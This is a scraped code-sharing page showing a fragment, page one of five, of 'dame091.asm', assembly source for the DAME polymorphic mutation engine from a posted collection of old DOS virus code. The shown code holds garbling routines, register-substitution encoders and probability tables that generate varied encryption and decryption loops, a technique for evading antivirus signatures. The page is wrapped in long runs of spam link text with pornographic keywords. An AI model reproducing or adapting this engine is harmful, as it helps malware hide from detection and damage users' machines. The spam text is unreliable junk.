亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dame091.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 5 頁
字號:
        ret

_mov_reg_reg_3rd_reg:
        mov     bx,offset mov_reg_reg
        mov     si,offset mov_xchg_reg_reg
        or      al,al                           ; Is reg1 a pointer register?
        js      reg_to_reg1                     ; If so, we cannot use XCHG
        jmp     short reg_to_reg

xor_reg_reg_reg_reg:
        mov     bx,offset _xor_reg_reg
        jmp     short reg_to_reg1
add_reg_reg_reg_reg:
        mov     bx,offset _add_reg_reg
        jmp     short reg_to_reg1
sub_reg_reg_reg_reg:
        mov     bx,offset _sub_reg_reg
reg_to_reg1:
        mov     si,bx
reg_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax si
        call    get_another                     ; Get unused register (reg3)
        call    mov_reg_reg                     ; MOV REG3,REG2
        pop     si dx
        xchg    ax,dx
finish_reg_clear_dx:
        push    dx
        call    si
        pop     ax
        jmp     clear_reg

_xor_reg_xxxx_reg_reg:
        mov     bx,offset xor_reg_xxxx
        mov     si,offset xor_reg_reg
xxxx_to_reg:
        call    free_regs
        jne     no_free_regs

        push    ax si
        call    get_another                     ; Get unused register (reg3)
        call    mov_reg_xxxx                    ; MOV REG3,XXXX
        xchg    ax,dx
        pop     si ax

        jmp     short finish_reg_clear_dx
no_free_regs:
        jmp     bx

_add_reg_xxxx_reg_reg:
        mov     bx,offset add_reg_xxxx
        mov     si,offset add_reg_reg
        jmp     short xxxx_to_reg

_mov_reg_xxxx_reg_reg:
        mov     bx,offset mov_reg_xxxx
        mov     si,offset mov_xchg_reg_reg
        jmp     short xxxx_to_reg

; The following are a collection of tables used by the various encoding
; routines to determine which routine will be used.  The first line in each
; table holds the mask for the encoding procedure.  The second line holds the
; default routine which is used when nesting is disabled.  The number of
; entries in each table must be a power of two.  To adjust the probability of
; the occurence of any particular routine, simply vary the number of times it
; appears in the table relative to the other routines.

; The following table governs garbling.
garbletable:
        db      garbletableend - $ - 3
        dw      offset return
        dw      offset return
        dw      offset return
        dw      offset return
        dw      offset return

        dw      offset garble_tworeg
        dw      offset garble_tworeg
        dw      offset garble_tworeg
        dw      offset garble_onereg
        dw      offset garble_onereg
        dw      offset garble_onereg

        dw      offset garble_onebyte
        dw      offset garble_onebyte
        dw      offset garble_onebyte
        dw      offset garble_jmpcond

        dw      offset clear_PIQ
garbletableend:

; This table is used by the one byte garbler.  It is intuitively obvious.
onebytetable:
        clc
        cmc
        stc
        cld
        std
        sti
        int     3
        lock

; This table is used by the one register garbler.  When each of the functions
; in the table is called, ax holds a random, unused register, and dx holds a
; random number.
oneregtable:
        db      oneregtableend - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset mov_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtableend:

; This table is used to determine the decryption method
oneregtable1:    ; dx = random #
        db      oneregtable1end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset dec_reg
        dw      offset inc_reg
        dw      offset _ror
        dw      offset _rol
oneregtable1end:

; This table is used to determine the encryption method
oneregtable2:    ; dx = random #
        db      oneregtable2end - $ - 3
        dw      offset xor_reg_xxxx
        dw      offset add_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset sub_reg_xxxx
        dw      offset inc_reg
        dw      offset dec_reg
        dw      offset _rol
        dw      offset _ror
oneregtable2end:

tworegtable:    ; dl = any register
        db      tworegtableend - $ - 3
        dw      offset xor_reg_reg
        dw      offset mov_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtableend:

tworegtable1:    ; dl = any register
        db      tworegtable1end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset sub_reg_reg
        dw      offset add_reg_reg
tworegtable1end:

tworegtable2:    ; dl = any register
        db      tworegtable2end - $ - 3
        dw      offset xor_reg_reg
        dw      offset xor_reg_reg
        dw      offset add_reg_reg
        dw      offset sub_reg_reg
tworegtable2end:

mov_reg_xxxx_table:
        db      mov_reg_xxxx_table_end - $ - 3
        dw      offset _mov_reg_xxxx
        dw      offset _mov_reg_xxxx_reg_reg
        dw      offset _mov_reg_xxxx_mov_add
        dw      offset _mov_reg_xxxx_mov_al_ah
        dw      offset _mov_reg_xxxx_mov_xor
        dw      offset _mov_reg_xxxx_xor_add
        dw      offset _mov_reg_xxxx_mov_rol
        dw      offset _mov_reg_xxxx_mov_ror

mov_reg_xxxx_table_end:

mov_reg_reg_table:
        db      mov_reg_reg_table_end - $ - 3
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg
        dw      offset _mov_reg_reg_3rd_reg
        dw      offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:

xchg_reg_reg_table:
        db      xchg_reg_reg_table_end - $ - 3
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg
        dw      offset _xchg_reg_reg_push_pop
        dw      offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:

xor_reg_xxxx_table:
        db      xor_reg_xxxx_table_end - $ - 3
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx
        dw      offset _xor_reg_xxxx_reg_reg
        dw      offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:

xor_reg_reg_table:
        db      xor_reg_reg_table_end - $ - 3
        dw      offset _xor_reg_reg
        dw      offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:

add_reg_reg_table:
        db      add_reg_reg_table_end - $ - 3
        dw      offset _add_reg_reg
        dw      offset add_reg_reg_reg_reg
add_reg_reg_table_end:

sub_reg_reg_table:
        db      sub_reg_reg_table_end - $ - 3
        dw      offset _sub_reg_reg
        dw      offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:

add_reg_xxxx_table:
        db      add_reg_xxxx_table_end - $ - 3
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx
        dw      offset _add_reg_xxxx_reg_reg
        dw      offset sub_reg_xxxx1
        dw      offset _add_reg_xxxx_inc_add
        dw      offset _add_reg_xxxx_dec_add
        dw      offset _add_reg_xxxx_add_add
        dw      offset _add_reg_xxxx_add_add

add_reg_xxxx_table_end:

endif

if not vars eq 0        ; if (vars != 0)

; _nest is needed to prevent the infinite recursion which is possible in a
; routine such as the one used by DAME.  If this value goes above the
; threshold value (defined as MAXNEST), then no further garbling/obfuscating
; will occur.
_nest                   db      ?

; This is used by the routine mod_reg_rm when encoding memory accessing
; instructions.  The value in _relocate_amt is later added to the relocation
; value to determine the final value of the memory adjustment.  For example,
; we initially have, as the encryption instruction:
;       add     [bx+0],ax
; Let's say _relocate_amt is set to 2.  Now the instruction reads:
;       add     [bx+2],ax
; Finally, the relocate procedure alters this to:
;       add     [bx+202],ax
; or whatever the appropriate value is.
;
; This value is used in double word encryptions.
_relocate_amt           db      ?

; Various memory locations which we must keep track of for calculations:
_loopstartencrypt       dw      ?
_loopstartdecrypt       dw      ?

_encryptpointer         dw      ?
_decryptpointer         dw      ?

_decryptpointer2        dw      ?

_start_encrypt          dw      ?
_start_decrypt          dw      ?
                                                        beginclear1:

; _used_regs is the register tracker. Each byte corresponds to a register.
; AX = 0, CX = 1, DX = 2, etc. Each byte may be either set or zero. If it
; is zero, then the register's current value is unimportant to the routine.
; If it is any other value, then the routine should not play with the value
; contained in the register (at least without saving it first).
_used_regs              db      8 dup (?) ; 0 = unused

; The following four variables contain the addresses in current memory which
; contain the patch locations for the memory addressing instructions, i.e.
;    XOR WORD PTR [bx+3212],3212
; It is used at the end of the master encoding routine.
_encrypt_relocate_num   dw      ?
_encrypt_relocator      dw      8 dup (?)

_decrypt_relocate_num   dw      ?
_decrypt_relocator      dw      10 dup (?)
                                                        endclear1:

_encrypt_length         dw      ?       ; The number of bytes to encrypt
                                        ; (based upon alignment)
_counter_value          dw      ?       ; Forwards or backwards
_decrypt_value          dw      ?       ; Not necessarily the crypt key
_pointer_value1         dw      ?       ; Pointer register 1's initial value
_pointer_value2         dw      ?       ; Pointer register 2's initial value

_counter_reg            db      ?
_encrypt_reg            db      ?
_pointer_reg1           db      ?       ; 4 = not in use
_pointer_reg2           db      ?

_pointer_rm             db      ?       ; Holds r/m value for pointer registers
_maxnest                db      ?

_kludge                 dw      ?

endif

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91精品啪在线观看国产60岁| 中文一区二区在线观看| 精品毛片乱码1区2区3区| 亚洲成av人影院在线观看网| 久久er99精品| 欧美性色黄大片手机版| 亚洲国产精品精华液ab| 麻豆精品视频在线观看| 色婷婷综合久久久久中文| 久久综合九色综合97婷婷| 亚洲精品大片www| 国产精品99久| 欧美刺激脚交jootjob| 香蕉加勒比综合久久 | 欧美高清在线一区二区| 日日噜噜夜夜狠狠视频欧美人| 97成人超碰视| 国产精品麻豆99久久久久久| 国产精品一区二区男女羞羞无遮挡| 制服丝袜成人动漫| 天天操天天色综合| 欧美日产国产精品| 亚洲一卡二卡三卡四卡| 色综合天天性综合| 国产精品对白交换视频 | 久久99久久精品| 制服丝袜日韩国产| 欧美aⅴ一区二区三区视频| 在线观看网站黄不卡| ㊣最新国产の精品bt伙计久久| 成人综合在线网站| 久久久精品国产99久久精品芒果 | 欧美sm美女调教| 裸体健美xxxx欧美裸体表演| 欧美一级生活片| 青草国产精品久久久久久| 欧美日韩视频专区在线播放| 午夜久久久久久久久久一区二区| 欧美三日本三级三级在线播放| 亚洲综合精品自拍| 欧美日韩精品三区| 免费的国产精品| 久久亚洲精精品中文字幕早川悠里| 久久99久久精品欧美| 久久综合av免费| av在线不卡电影| 一区二区三区日韩| 欧美精品日韩一区| 经典三级一区二区| 国产精品国产自产拍高清av王其| 99精品视频在线播放观看| 亚洲国产色一区| 欧美一二三四区在线| 91精品在线观看入口| 蜜桃av一区二区| 日本一区二区动态图| 色噜噜狠狠一区二区三区果冻| 亚洲午夜激情av| 久久久久久久电影| 91免费看`日韩一区二区| 视频一区二区三区在线| 国产三级精品三级在线专区| 色综合天天性综合| 免费视频最近日韩| 国产精品区一区二区三区| 欧美在线短视频| 国产在线一区观看| 亚洲影院理伦片| 国产午夜精品福利| 欧美日韩精品二区第二页| 激情综合一区二区三区| 亚洲色图色小说| 日韩精品一区二区三区老鸭窝| 成人高清视频在线| 久久爱另类一区二区小说| 国产精品美女久久久久久久久| 欧美精品一二三| av毛片久久久久**hd| 麻豆免费精品视频| 亚洲精品菠萝久久久久久久| 久久免费美女视频| 欧美日韩在线免费视频| 国产suv精品一区二区三区| 天天综合日日夜夜精品| 综合色中文字幕| 久久一区二区视频| 欧美精品在线观看一区二区| av一区二区久久| 国产精品影视在线观看| 日韩av网站免费在线| 1024成人网色www| 精品va天堂亚洲国产| 在线不卡的av| 91福利在线导航| 99久久精品费精品国产一区二区| 经典三级在线一区| 蜜桃视频一区二区| 日本中文字幕一区| 亚洲成人动漫在线免费观看| 亚洲麻豆国产自偷在线| 亚洲视频在线一区观看| 中文字幕免费观看一区| 国产色综合一区| 久久精品人人做人人爽人人| 欧美成人精品二区三区99精品| 91麻豆精品91久久久久久清纯| 欧美日韩一级视频| 精品视频一区二区不卡| 在线视频亚洲一区| 在线一区二区视频| 91福利视频久久久久| 91色视频在线| 91激情在线视频| 在线看国产日韩| 欧美日韩一区二区在线观看| 欧美性大战久久| 欧美在线免费视屏| 欧美人体做爰大胆视频| 欧美丰满嫩嫩电影| 欧美v亚洲v综合ⅴ国产v| 26uuu另类欧美| 欧美高清一级片在线观看| 欧美韩日一区二区三区| 中文字幕一区二区三区不卡在线| 国产精品美女久久久久高潮| 日本一区二区三区四区在线视频| 国产三级欧美三级日产三级99| 国产亚洲欧美色| 日韩毛片在线免费观看| 亚洲精品乱码久久久久| 肉色丝袜一区二区| 韩国女主播一区二区三区| 国产99一区视频免费| 色哟哟日韩精品| 欧美一二三在线| 国产精品免费aⅴ片在线观看| 亚洲女人****多毛耸耸8| 香蕉加勒比综合久久 | 日本欧美韩国一区三区| 狠狠狠色丁香婷婷综合激情| 成人av免费在线| 欧美主播一区二区三区| 精品剧情在线观看| 亚洲欧洲日产国码二区| 亚洲午夜久久久久中文字幕久| 久久精品99国产国产精| 99久久99久久精品免费观看| 欧美精选午夜久久久乱码6080| 国产亚洲综合性久久久影院| 一区二区三区视频在线观看| 精品一区二区三区香蕉蜜桃| 99久久综合99久久综合网站| 欧美日本在线一区| 国产精品三级av| 日韩av电影免费观看高清完整版在线观看| 国产一区视频导航| 欧美视频第二页| 欧美激情一区二区三区蜜桃视频| 亚洲国产成人91porn| 粉嫩aⅴ一区二区三区四区 | 9i看片成人免费高清| 欧美日韩aaa| 亚洲免费观看在线观看| 国产精品亚洲综合一区在线观看| 欧美亚洲国产一区在线观看网站| www日韩大片| 亚洲成人激情综合网| 99这里只有精品| 精品少妇一区二区三区在线播放 | 亚洲欧洲av在线| 麻豆91精品91久久久的内涵| 在线观看成人免费视频| 久久久精品蜜桃| 免费成人美女在线观看.| 欧美在线播放高清精品| 亚洲欧美国产高清| www.在线成人| 国产欧美日韩三级| 韩国三级电影一区二区| 欧美精品粉嫩高潮一区二区| 亚洲欧美国产三级| 成人动漫在线一区| 国产色产综合产在线视频| 久88久久88久久久| 日韩一区二区三区电影 | 国产麻豆9l精品三级站| 欧美精品1区2区3区| 一区二区三区成人在线视频| 91免费视频观看| 亚洲欧洲日本在线| www.色精品| 亚洲欧美一区二区久久| 99久久免费国产| 亚洲人成亚洲人成在线观看图片| 成人在线综合网| 国产日韩精品一区| 成人app软件下载大全免费| 欧美国产1区2区| 91视视频在线观看入口直接观看www | 高清成人在线观看|